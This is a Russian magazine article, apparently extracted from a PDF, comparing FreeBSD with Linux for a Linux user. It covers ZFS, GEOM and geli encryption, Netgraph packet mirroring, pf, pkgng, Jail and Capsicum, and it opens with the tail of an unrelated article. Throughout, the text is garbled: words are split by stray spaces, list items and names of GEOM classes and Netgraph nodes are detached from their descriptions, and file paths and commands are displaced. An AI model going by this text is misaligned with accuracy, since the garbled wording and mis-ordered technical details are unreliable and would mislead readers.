$ sudo dhclient ‐i wlan0

Нас трой ка бес про вод ного под клю чения в тер минале

ВЫВОДЫ
За вре мя, про шед шее с момен та появ ления ядра Linux, раз личия меж ду дис‐ 
три бути вами,  осно ван ными  на  нем,  дос тигли  того  уров ня,  ког да  переход
с  одно го  из  них  на  дру гой  ста новит ся  дос таточ но  зат рудни тель ным
без допол нитель ного изу чения их спе цифи ки.

Тем  не  менее  общая  осно ва  озна чает  и  воз можность  воз никно вения
общих проб лем при работе этих опе раци онных сис тем, что вмес те с тем поз‐ 
воля ет при менять в любой из них пред став ленные выше рецеп ты, пусть даже
с некото рыми кос метичес кими отли чиями.
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По рог  вхож дения  нович ка  в  мир  Linux  за  пос ледние
десять‐пят надцать  лет  ощу тимо  сни зил ся.  В  дис три бути вах
добави лись удоб ные гра фичес кие инстал ляторы, зна читель‐ 
но  похоро шел  GUI,  появи лась  какая‐никакая  уни фика ция
рабочих  сто лов  и  про чие  усо вер шенс тво вания.  Одна ко,
помимо  дис три бути вов  Linux,  сущес тву ют  и  дру гие  POSIX‐
сов мести мые  сис темы.  Мы  решили  взгля нуть  на  одну
из них — FreeBSD — гла зами сов ремен ного поль зовате ля (и
адми нис тра тора) Linux и оце нить удобс тво работы и фун кци‐ 
ональ ность.

ПЕРВЫЙ ЗАПУСК
Пер вое отли чие от Linux, которое ты заметишь, — FreeBSD заг ружа ется в тек‐ 
сто вом режиме. И это абсо лют но нор маль но, GUI необ ходимо уста нав ливать
отдель но.

К  при меру,  что бы  исполь зовать  GNOME  3,  нуж но  про делать  сле дующие
шаги. Спер ва уста новить сам GNOME 3 и Xorg:

# pkg install xorg gnome3

Ус танов ка GNOME

За тем отре дак тировать (с помощью vi!) файл  ./etc/rc.conf

dbus_enable="YES"
hald_enable="YES"
gdm_enable="YES"
gnome_enable="YES"

Так ты акти виру ешь средс тва обме на сооб щени ями и опре деле ния обо рудо‐ 
вания, а так же необ ходимые GNOME служ бы и гра фичес кий менед жер вхо да
в сис тему.

И толь ко пос ле это го мож но перезаг рузить ся:

# shutdown ‐r now

Эк ран вхо да в сис тему

Пос ле вхо да будет стан дар тный интерфейс GNOME 3 без каких‐либо сто рон‐ 
них  при ложе ний.  Пос ле  уста нов ки  Firefox  (с  чем  приш лось  повозить ся  —
об этом далее) он появил ся в при ложе ниях.

Опять  же  сос редото чим ся  на  раз личи ях.  На  уров не  гра фичес кого
интерфей са их край не мало. Единс твен ное отли чие в интерфей се — отсутс‐ 
твие  кно пок  миними зации/мак симиза ции  —  исправ ляет ся  парой  щел чков
мышью  в  тви кере.  Ауди офай лы  MP3  про игры вают ся  без  осо бых  проб лем,
видео тоже, все устрой ства опре дели лись и зарабо тали.

Вклю чаем кноп ки миними зации/мак симиза ции окна в тви кере

С  бытовы ми  задача ми  (посер фить  в  интерне те,  пос лушать  музыку,  пос‐ 
мотреть видео) осо бых проб лем нет, так что не будем задер живать ся на этом
и перей дем к внут ренним раз личи ям.

ПОД КАПОТОМ
Внут ри FreeBSD зна читель но отли чает ся от Linux. Конеч но же, здесь сов сем
дру гое  ядро  и  боль шая  часть  ран тай ма  (то  есть  стан дар тных  биб лиотек
и команд), но отдель но сто ит отме тить сле дующие раз личия:

заг рузчик —  хотя  сей час  нич то  и  не меша ет  исполь зовать Grub  2,  но  по
исто ричес ким при чинам и из‐за лицен зирова ния исполь зует ся собс твен‐ 
ный;

•

ба зовый набор команд в боль шинс тве сво ем сов местим с тем, что в Linux,
но  может  силь но  отли чать ся  в  той  час ти,  которая  каса ется  управле ния
обо рудо вани ем;

•

своя  сис тема  управле ния  пакета ми,  допол ненная  сис темой  так  называ‐ 
емых  пор тов,  которая  поз воля ет  авто мати чес ки  уста нав ливать  софт
из исходни ков;

•

мощ ная  модуль ная  сис тема  GEOM,  поз воля ющая  стро ить  любые  мыс‐ 
лимые и немыс лимые дис ковые кон фигура ции;

•

ZFS из короб ки;•
мо дуль ный  сетевой  стек,  сво его  рода  ана лог  GEOM  для  обра бот ки
пакетов;

•

нес коль ко бран дма уэров, вклю чая мощ ный и удоб ный pf из OpenBSD;•
нес коль ко NAT‐под систем.•

Срав ним некото рые осо бен ности с ана лога ми в Linux.

ФАЙЛОВЫЕ СИСТЕМЫ
Во  FreeBSD  есть  две  основные  фай ловые  сис темы:  UFS2  и  ZFS.  Пер вая
ФС — внуч ка FFS, вто рая — детище Sun.

UFS2 напоми нает ста рые ФС Unix/Linux,  такие, нап ример,  как ext2: в ней
нет жур нала (хотя его мож но соз дать с помощью GEOM), но зато есть неч то
под наз вани ем Soft Updates — механизм, обес печива ющий (поч ти) бес проб‐ 
лемную  работу  пос ле  ава рий ного  оста нова.  Работа ет  он  на  осно ве  отсле‐ 
жива ния зависи мос тей метадан ных и груп пирова ния изме нений в них в ато‐ 
мар ные  записи.  Это  поз воля ет  избе жать  некон систен тных  сос тояний  ФС,
которые в про тив ном слу чае мог ли бы помешать запус тить ся сис теме, и так‐ 
же поз воля ет выпол нить про вер ку фай ловой сис темы в фоновом режиме.

ZFS — ком бинация фай ловой сис темы с менед жером томов, пор тирован‐ 
ная во FreeBSD из Solaris. По срав нению с ее бли жай шим ана логом в Linux,
Btrfs, ZFS более ста биль ная, име ет работа ющие ана логи RAID 5/6, под держи‐ 
вает блоч ные устрой ства поверх пула (volumes), в резуль тате чего появ ляет ся
воз можность  соз давать  iSCSI‐хра нили ща,  под держи вает  кеширо вание
на SSD (что поз воля ет ощу тимо уско рить работу, хотя и уве личи вает рас ход
памяти), дедуп ликацию во вре мя работы.

Ми нус  (по  срав нению  с  тра дици онны ми  ФС)  по  боль шей  час ти  один —
тре бует мно го опе ратив ной памяти с под дер жкой ECC.

GEOM И УПРАВЛЕНИЕ ДИСКАМИ
GEOM —  фрей мворк  для  работы  с  блоч ными  устрой ства ми.  Пред став ляет
собой  неч то  вро де  сис темы  модуль ной  обра бот ки  зап росов  вво да‐вывода
на  пути  от  дис ка  к  ФС  и  обратно.  Один  модуль  (экзем пляр  клас са  в  тер‐ 
миноло гии  GEOM)  может  отве чать  за  раз бивку  дис ка  на  раз делы,  дру гой
за шиф рование раз дела, тре тий за орга низа цию RAID и так далее.

Все  эти  модули  (экзем пля ры  клас сов)  мож но  объ еди нять  для  соз дания
самых  раз ных  кон фигура ций,  не  огра ничен ных  какими‐либо  рам ками.  Нап‐ 
ример, соз дать RAID‐мас сив из дис ка, раз дела и зашиф рован ного раз дела,
под клю чен ного по сети.

Не кото рые из дос тупных клас сов:
 —  concatenated  disk —  пред назна чен  для  соз дания мас сивов

дис ков. Под держи вает ся объ еди нение и зер калиро вание;
• geom_ccd

 — так же пред назна чен для объ еди нения дис ков;• geom_concat

  —  шиф рование.  Под держи вает  нес коль ко  алго рит мов  шиф‐ 
рования, два незави симых клю ча, аппа рат ное уско рение;

• geom_eli

 — под дер жка хра нения по сети. Для его исполь зования необ‐ 
ходимо наличие FreeBSD на устрой стве, накопи тель которо го рас шарива‐ 
ется;

• geom_gate

 — под дер жка жур налиро вания (толь ко для UFS2);• geom_journal

 — оче ред ная реали зация зер калиро вания;• geom_mirror

  —  поз воля ет  под клю чать  некото рые  реали зации  «аппа рат‐ 
ного» RAID,  под держи ваемо го  во мно гих материн ских  пла тах  началь ного
уров ня.

• geom_raid

Пос мотрим,  как  вклю чить  шиф рование  с  помощью  geli  (тре бует ся  чис тый
или неис поль зуемый жес ткий диск):

# mkdir /private
# geli init ada1
# geli attach ada1
# newfs /dev/ada1.eli
# mount /dev/ada1.eli /private
...работа...
# umount /private
# geli detach ada1

Что бы  устрой ство  под клю чалось  во  вре мя  заг рузки,  нуж но  добавить  стро ку
в файл  :/etc/rc.conf

geli_devices="ada1"

И изме нить  . Пароль будет зап рошен при заг рузке./etc/fstab

Соз дание шиф рован ного кон тей нера на жес тком дис ке

МОДУЛЬНЫЙ СЕТЕВОЙ СТЕК NETGRAPH
Са мое ощу тимое отли чие сетевой под систе мы FreeBSD от таковой в Linux —
аль тер натив ный сетевой стек Netgraph. Как и GEOM, Netgraph пред став ляет
собой фрей мворк,  поз воля ющий  стро ить  очень  гиб кие  кон фигура ции обра‐ 
бот ки  информа ции,  но  в  этот  раз  не  зап росов  вво да‐вывода,  а  сетевых
пакетов.

В  тер миноло гии Netgraph  каж дый обра бот чик пакетов называ ется  узлом,
при над лежащим опре делен ному типу. У узла есть вход и выход (называ емые
хуками). Про ходя через узлы, пакет может видо изме нять ся, инкапсу лиро вать‐ 
ся в дру гой пакет и так далее.

FreeBSD  под держи вает  десят ки  раз личных  типов  узлов,  вот  толь ко  часть
из них:

 — пред назна чен для пред став ления сетевой кар ты в виде узла;• ng_ether

 —  пре дос тавля ет  псев доин терфейс  для  опре делен ного  сте ка
про токо лов. Исполь зует ся, нап ример, для соз дания PPTP VPN с помощью
MPD;

• ng_iface

 — исполь зует ся для интегра ции ipfw и Netgraph;• ng_ipfw

 — одна из мно гочис ленных реали заций NAT во FreeBSD;• ng_nat

 — под дер жка NetFlow; одно из наибо лее рас простра нен ных
при мене ний Netgraph;

• ng_netflow

  —  реали зация  дуб лирова ния  пакетов.  Под держи вает  три
алго рит ма переда чи: Round Robin (исполь зующий ся по умол чанию), «дос‐ 
тавка всем» и Failover — пакет отправ ляет ся на пер вый «живой» хук. Так же
есть ста тис тика;

• ng_one2many

 — прос тей ший шей пер тра фика;• ng_pipe

  —  управле ние  тегами  mbuf  (теги  исполь зуют ся  для  «навеши‐ 
вания» слу жеб ной информа ции на пакет внут ри ядра);

• ng_tag

  —  ана лог  ути литы  tee.  Пакеты,  про ходя щие  через  этот  узел
(помимо того, что идут, куда шли), могут завора чивать ся и на дру гой.

• ng_tee

При мер  зер калиро вания  пакетов  с  помощью  Netgraph  (как  вхо дящих,  так
и исхо дящих):

# kldload ng_ether
# ngctl mkpeer em0: tee lower left
# ngctl connect em0: em0:lower upper right
# ngctl name em0:lower em0_tee
# ngctl mkpeer em1: one2many lower one
# ngctl connect em1:lower em1: many0 upper
# ngctl name em1:lower m2o_mirr
# ngctl connect em0_tee: m2o_mirr: left2right many1
# ngctl connect em0_tee: m2o_mirr: right2left many2
# ifconfig em1 up

По лучен ная кон фигура ция в виде гра фа

Раз берем, что дела ет каж дая коман да. Пер вая заг ружа ет модуль ядра, отве‐ 
чающий за пред став ление сетевой кар ты в виде узла Netgraph (в моем слу чае
кар ты называ лись em0 и em1 и узлы Netgraph име нова лись соот ветс твен но).
У  дан ного  типа  есть  три  хука:  lower,  upper  и  orphans.  На  пер вый  пос тупа ют
исхо дящие со сто роны сис темы пакеты, на вто рой, соот ветс твен но, попада‐ 
ющие с физичес кого уров ня. На тре тий пос тупа ют некор рек тные пакеты, и в
нашем при мере он не исполь зует ся.

Сле дующая коман да соз дает узел типа tee и одновре мен но соеди няет хук
lower  узла  em0  с  хуком  left  вновь  соз данно го  узла,  который  пока  еще  никак
не име нует ся.

Ос тановим ся на типе tee под робнее. Узлы дан ного типа обла дают четырь‐ 
мя  хуками:  left,  right,  left2right  и  right2left.  Основная  его  задача  зак люча ется
в том, что бы соз давать «раз рыв» меж ду дву мя хуками, которые обыч но соеди‐ 
нены  в  одном  узле,  и  встра ивать ся  в  этот  «раз рыв»,  поз воляя  затем  перех‐ 
ватывать все, что про ходит через пре пари руемый узел.

Та ким  обра зом,  третья  коман да  устра няет  соз данный  нами  же  «раз рыв»
меж ду  дву мя  хуками,  поз воляя  пакетам  идти  как  обыч но.  Пер вый  аргу мент
коман ды ngctl connect — узел, который под клю чает ся. Вто рой — узел (точ нее,
отно ситель ный или абсо лют ный путь), к которо му под клю чает ся пер вый узел.
Тре тий аргу мент — хук пер вого узла, чет вертый — хук вто рого.

Чет вертая коман да име нует ранее соз данный узел.
Пя тая  соз дает  узел  типа  one2many  (который  может  дей ство вать  и  в

обратном нап равле нии — то есть many2one), под клю чая хук one к хуку  lower
узла интерфей са, на который мы будем зер калиро вать.

Шес тая  коман да  необ ходима  для  кор рек тной  работы  зер калиро вания —
без нее сис тема будет дуб лировать отдель ные пакеты.

Седь мая  коман да под клю чает many1  к  хуку  left2right,  через  который про‐ 
ходят  все  вхо дящие  пакеты,  пос коль ку  они  идут  от  хука  lower  узла  em0  (к
которо му под клю чен хук left узла типа tee) к хуку upper (к которо му, соот ветс‐ 
твен но, под клю чен хук right).

Вось мая коман да дела ет то же самое с исхо дящим тра фиком, под клю чая
many2 к right2left.

Две коман ды в совокуп ности нап равля ют два потока через узел типа one2‐
many  на  хук  one,  под соеди нен ный  к  узлу  em1  пос редс твом  хука  lower,
с которо го пакеты и покида ют сис тему.

Пос ледняя коман да акти виру ет сетевой интерфейс.

БРАНДМАУЭРЫ
Во  FreeBSD  есть  три  бран дма уэра:  ipfw,  pf  и  ipfilter  (он  не  под держи вает ся
и сох ранен по исто ричес ким при чинам). Ipfw — «род ной» для FreeBSD бран‐ 
дма уэр,  дос таточ но  удоб ный  и  фун кци ональ ный;  pf  —  пор тирован ный
из  OpenBSD,  легок  в  осво ении,  под держи вает  прод винутые  воз можнос ти,
такие  как  перес борка  пакетов,  ран домиза ция  номеров  пос ледова тель нос ти
и шей пинг тра фика.

Все бран дма уэры  так же под держи вают NAT, плюс есть под дер жка в под‐ 
систе ме  Netgraph.  Как  бран дма уэры,  так  и  под систе мы  NAT  мож но  ком‐ 
биниро вать.

Для  при мера  при ведем  кон фиг    для  веб‐сер вера  (наружу  все,  внутрь
толь ко HTTP(S)):

pf

# Игнорируем loopback‐интерфейс
set skip on lo
# Блокируем все входящие, разблокируем исходящие
block in all
pass out all
# Пропускаем внутрь трафик на HTTP‐порты
pass in quick on em0 proto tcp from any to any port { 80 443 }
# Пропускаем пинги и ICMP Destination unreachable
pass in inet proto icmp all icmp‐type { echoreq, unreach }

УПРАВЛЕНИЕ ПАКЕТАМИ
Во FreeBSD есть два спо соба уста нов ки сто рон них прог рамм: пакеты и пор‐ 
ты. Пакеты (как и в Linux) — это уже соб ранные бинар ные вер сии прог рамм,
пор ты — удоб ная обер тка для сбор ки из исходни ков, поз воля ющая авто мати‐ 
чес ки выкачи вать исходни ки из Сети и собирать из них бинар ный пакет.

В  абсо лют ном  боль шинс тве  слу чаев  обыч ным  поль зовате лям  (как
и  подав ляюще му  боль шинс тву  адми нис тра торов)  хва тит  пакетов.  Пор ты  же
нуж ны для боль шей гиб кости — нап ример, для опти миза ции ПО под кон крет‐ 
ный про цес сор или для сбор ки при ложе ния с опре делен ными опци ями.

До  FreeBSD  9  сис тема  управле ния  пакета ми  была  край не  ущер бна  и  не
уме ла отсле живать зависи мос ти. Начиная с вер сии 10 (2014 год) в качес тве
сис темы  управле ния  пакета ми  по  умол чанию  исполь зует ся  более  прод‐ 
винутая pkgng.

С pkgng, одна ко, тоже слу чают ся казусы. Нап ример, при уста нов ке Firefox
на све жеус танов ленную сис тему мне «повез ло» попасть на его некор рек тную
вер сию в метадан ных. То есть файл пакета был, но его вер сия (и адрес) отли‐ 
чались от тех, что записа ны в метадан ных, — в резуль тате при попыт ке уста‐ 
новить  этот  пакет  с  помощью    пакет ный  менед жер  поп росту
не находил ука зан ный URL. В резуль тате приш лось уста нав ливать все зависи‐ 
мос ти (бла го их было не так уж мно го), а потом с помощью pkg add уста нав‐ 
ливать кон крет ный пакет по задан ному URL.

pkg  install

Ес ли  срав нивать  с  yum  или  apt‐get  —  ничем  осо бо  выда ющим ся  pkgng
не отли чает ся. Это прос то еще одна сис тема управле ния пакета ми.

DTRACE
Еще один порт из Solaris — сис тема динами чес кой трас сиров ки DTrace. Эта
тех нология объ еди няет  в  себе фун кци ональ ность боль шого  количес тва  ути‐ 
лит,  пре дос тавляя  воз можность  трас сиров ки  биб лиотеч ных  фун кций,  сис‐ 
колов,  фун кций  ядра  и  поз воляя  делать  гиб кую  выбор ку  по  тому  или  ино му
кри терию.  DTrace  может  исполь зовать ся  раз работ чиками  при ложе ний/ядра
для  про фили рова ния  или  сис темным  адми нис тра тором  для  ана лиза  и  рас‐ 
сле дова ния проб лем.

В Linux есть ана лог DTrace под наз вани ем SystemTap. Одна ко DTrace зна‐ 
читель но про ще в обра щении.

БЕЗОПАСНОСТЬ
FreeBSD под держи вает  нес коль ко  под систем безопас ности. Самая прос тая
с  точ ки  зре ния  поль зовате ля —  перемен ная  sysctl  .  Она
поз воля ет ука зать так называ емый уро вень безопас ности, а если точ нее, уро‐ 
вень все доз волен ности:

kern.securelevel

0 — без огра ниче ний;•
1  —  безопас ный  режим.  Нель зя  снять  фла ги  immutable  и  append‐only
с  помощью  chflags,  зап рещена  запись  в  фай лы  ,  , 

,  а  так же  в  смон тирован ные  дис ковые  устрой ства,  зап рещена
заг рузка и выг рузка модулей ядра с помощью   и  , зап‐ 
рещен  вход  в    (отладчик  ядра),  зап рещен  вызов  kernel  panic  через
sysctl;

•
/dev/io /dev/mem /

dev/kmem

kldload kldunload

kdb

2  —  режим  высокой  безопас ности.  В  допол нение  к  огра ниче ниям  пре‐ 
дыду щего уров ня зап реща ется писать в нес монти рован ные дис ки (коман‐ 
да  newfs,  соз дающая  ФС,  работать  не  будет).  Кро ме  того,  зап рещено
изме нение сис темно го вре мени боль ше чем на одну секун ду;

•

3 — режим сетевой безопас ности. В допол нение к перечис ленно му зап‐ 
реща ется изме нять пра вила бран дма уэров.

•

Кон тей неры
Еще в 2000 году, задол го до того, как в Linux были реали зова ны прос транс тва
имен  и  cgroups,  необ ходимые  для  работы  кон тей неров  (при вет,  Docker),
во  FreeBSD  уже  сущес тво вала  собс твен ная  реали зация  кон тей неров  (или,
по‐дру гому, песоч ниц) под наз вани ем Jail.

Се год ня Jail под держи вает сле дующие фун кции:
ог раниче ние мон тирова ния задан ных ФС и дос тупа к устрой ствам (реали‐ 
зует ся через devfs.rules);

•

воз можность  прис воения  IP‐адре са  Jail’у  (а  то  и  вов се  выделе ния  вир‐ 
туаль ного сетево го сте ка);

•

воз можность зап рета chflags на фай лы (вклю чено по умол чанию);•
вло жен ные Jail;•
ус танов ка собс твен ного securelevel (не ниже securelevel в текущем Jail);•
ог раниче ние ресур сов с помощью rctl;•
ог раниче ние соз дания некото рых видов сокетов и IPC.•

Jail обес печива ет хороший уро вень изо ляции и некото рые воз можнос ти вир‐ 
туали зации, одна ко прос транс тва имен в Linux дают боль шую гиб кость. Cap‐
sicum (о котором мы погово рим чуть поз же) вво дит понятие гло баль ных прос‐ 
транств  имен,  одна ко  под  этим  под разуме вает ся  все го  лишь  раз деление
на  под систе мы  (PIDs,  пути  к фай лам,  иден тифика торы ФС,  SysV  IPC,  POSIX
IPC и так далее).

TrustedBSD
FreeBSD  вклю чает  фрей мворк  TrustedBSD,  рас ширя ющий  стан дар тную  сис‐ 
тему безопас ности Unix сле дующи ми воз можнос тями:

ACL — рас ширен ная сис тема прав дос тупа;•
аудит событий безопас ности OpenBSM, фор мат фай ла жур нала которо го
соот ветс тву ет стан дарту BSM;

•

рас ширен ные атри буты фай ловой сис темы;•
ман датный  кон троль  дос тупа  с  раз личны ми  полити ками,  такими  как  LO‐
MAC, BIBA и MLS;

•

POSIX.1e  Privileges  (ана логич ные  Linux  Capabilities),  так  до  кон ца  и  не
реали зова ны;

•

Capsicum — фрей мворк для соз дания песоч ниц в при ложе ниях.•

При виле гии POSIX.1e и Capsicum
Опи шем чуть более под робно при виле гии и Capsicum. При виле гии во Free‐
BSD ана логич ны Capabilities  в  Linux. В фай ле  sys/priv.h  опре деле но  при мер‐ 
но 250 при виле гий. По срав нению с 35 Capabilities в Linux здесь они гораз до
более детали зиро ваны (вспом ним CAP_SYS_ADMIN, по сути выда ющую чрез‐ 
мерно боль шие при виле гии, которые мож но было бы раз бить на мно жес тво
более мел ких). К  сожале нию, не сущес тву ет userland‐ути лит для  управле ния
при виле гиями (и по архи тек турным сооб ражени ям, свя зан ным с реали заци ей
MAC, вряд ли они появят ся), и все это богатс тво исполь зует ся толь ко на уров‐ 
не ядра да во вре мя про вер ки зак лючен ных в Jail про цес сов.

Capsicum  же  вво дит  во  FreeBSD  понятия  Capability  (не  путать
с Linux/POSIX.1e Capabilities) и capability mode, пред став ляющий собой ана‐ 
лог  ненас тра иваемо го  seccomp  и  силь но  огра ничи вающий  дос тупные
для прог раммы сис темные вызовы. Сами же Capabilities базиру ются на идее
«все есть файл» и рас ширя ют фай ловые дес крип торы,  что, по замыс лу раз‐ 
работ чиков,  дол жно  облегчить  миг рацию  прог рамм  на  новую  модель
безопас ности.  На  прак тике,  одна ко,  некото рые  сущ ности  в  сис темных
вызовах *nix не могут быть пред став лены в виде фай ловых дес крип торов, так
что, с одной сто роны, Capsicum дей стви тель но облегча ет миг рацию (и улуч‐ 
шает  безопас ность),  с  дру гой  —  его  при мене ние  слег ка  огра ниче но  сис‐ 
темны ми  вызова ми,  где  (хотя  бы  в  теории)  мож но  исполь зовать  фай ловые
дес крип торы.  К  тому  же  он  пред назна чен  пока  толь ко  для  исполь зования
во  вре мя  раз работ ки —  уже  ском пилиро ван ную  прог рамму  без  под дер жки
Capsicum нель зя запус тить в дан ной песоч нице.

В общем‐то, глу по было бы счи тать, что по безопас ности какая‐то из сис‐ 
тем луч ше или хуже: FreeBSD идет сво им путем, Linux — сво им.

Слой сов мести мос ти с Linux
FreeBSD под держи вает час тичную сов мести мость с Linux и поз воля ет запус‐ 
кать  некото рые  Linux‐при ложе ния. Фак тичес ки  режим  сов мести мос ти  пред‐ 
став ляет  собой  реали зацию  Linux  ABI  и  сис темных  вызовов.  Для  уста нов ки
слоя сов мести мос ти нуж но выпол нить сле дующую коман ду:

# pkg install linux_base‐c6

За тем заг рузить модуль, отве чающий за ABI, и смон тировать linprocfs:

# kldload linux
# mount ‐t linprocfs linproc /compat/linux/proc/

Все. Мож но исполь зовать некото рые прог раммы, написан ные для Linux.
Под держи вает ся так же запуск в Jail‐окру жении.

ИТОГИ
Ес ли  говорить  о  прак тичес ком  при мене нии,  FreeBSD  отлично  под ходит
в качес тве сис темы для NAS/SAN (что под твержда ется боль шим количес твом
как откры тых,  так и проп риетар ных сис тем хра нения на его осно ве), а так же
в качес тве ОС для работы в сети (в качес тве как домаш него, так и про мыш‐ 
ленно го  роуте ра).  Как  дес ктоп она мало инте рес на  и  не  подой дет  рядовым
поль зовате лям.

FreeBSD идет по отлично му от Linux пути. У пос ледней, казалось бы, гораз‐ 
до боль ше инте рес ных воз можнос тей — но все они нап равле ны на решение
каких‐то  кон крет ных  час тных  задач  (хотя и  не  всег да — в  качес тве при мера
мож но при вес ти ту же реали зацию кон тей неров в Linux). Воз можнос ти Free‐
BSD же нап равле ны на решение проб лемы в целом  (GEOM, Netgraph, Cap‐
sicum — на момент их раз работ ки ана логов в Linux не было). Ско рее все го,
свя зано  это  с  тем,  что  FreeBSD  раз вивалась  в  ака деми чес кой  сре де,
а Linux — это прос то инс тру мент.
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